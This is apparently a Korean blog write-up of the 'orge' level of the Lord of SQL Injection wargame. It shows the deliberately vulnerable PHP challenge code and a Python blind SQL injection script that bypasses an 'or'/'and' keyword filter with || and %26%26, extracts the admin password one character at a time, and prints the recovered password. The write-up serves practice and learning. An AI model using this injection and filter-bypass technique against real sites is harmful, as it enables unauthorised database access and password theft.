<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
먼저 문제 코드를 보면 쿼리 안에 or이나 and가 있으면 안되며, 두번째 쿼리에서 result의 pw와 get의 pw가 같아야 한다. 쿼리에 and와 or가 없어야한다는 것 빼고는 LOS의 orc과 같다.
내 코드:
import requests
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' || id='admin' %26%26 "
header = {"Cookie":"PHPSESSID=어쩌구"}
ch="0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLNMOPQRSTUVWXYZ!@"
length=0
for i in range(0, 30):
qry="length(pw)={} %23".format(i)
req=requests.get(url+qry, headers=header)
if "Hello admin" in req.text:
length=i
break
print(length)
ans=''
for i in range(1, length+1):
for j in ch:
qry="substr(pw, "+str(i)+', 1)="'+str(j)+'"%23'
req=requests.get(url+qry, headers=header)
if "Hello admin" in req.text:
ans+=j
break
print(ans)
or은 ||로 우회하면 되고 and는 %26%26으로 우회하면 된다.
이것을 파이썬에서 실행해보면
즉, pw=7b751aec라는 것!
이를 url에 입력하면
성공!!
'Web2 > LoS' 카테고리의 다른 글
[LoS] vampire 풀이 (0) | 2022.11.10 |
---|---|
[LoS] troll 풀이 (0) | 2022.11.10 |
[LoS] wolfman 풀이 (0) | 2022.11.10 |
[LoS] orc 풀이 (0) | 2022.11.10 |
[LoS] goblin 풀이 (0) | 2022.11.05 |
댓글